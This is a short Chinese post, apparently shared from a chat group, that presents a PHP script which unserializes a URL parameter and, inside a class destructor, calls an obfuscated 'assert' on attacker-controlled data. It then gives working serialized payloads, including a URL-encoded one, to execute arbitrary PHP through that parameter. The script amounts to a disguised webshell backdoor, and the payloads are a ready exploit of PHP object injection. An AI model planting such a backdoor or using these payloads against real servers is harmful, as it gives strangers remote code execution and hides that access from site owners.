群里一个高手写的url?传参执行php函数的小程序, 收藏下

<?php
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2012 KingBin All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: KingBin 1055692563@qq.com
// +----------------------------------------------------------------------
error_reporting(0);
class test
{
    public $fn=array('a','s','s','e','r','t');
    public $str;

    function __destruct()
    {
       $r =  join(null,$this->fn);
       return $r($this->str);
    }
}

if($_GET['url']) unserialize($_GET['url']) && die();

show_source(__FILE__);

?>

所以 只要我们提交一个
$o=new test; $o->str='phpinfo()'; 那么是不是就会起到执行phpinfo呢？ 所以转换一下  xx.php?url=O:4:"test":1:{s:3:"str";s:9:"phpinfo()";} 就会执行了  这个类~~~~

如

?url=O:4:%22test%22:2:{s:2:%22fn%22;a:6:{i:0;s:1:%22a%22;i:1;s:1:%22s%22;i:2;s:1:%22s%22;i:3;s:1:%22e%22;i:4;s:1:%22r%22;i:5;s:1:%22t%22;}s:3:%22str%22;s:18:%22die('heelo%20world')%22;}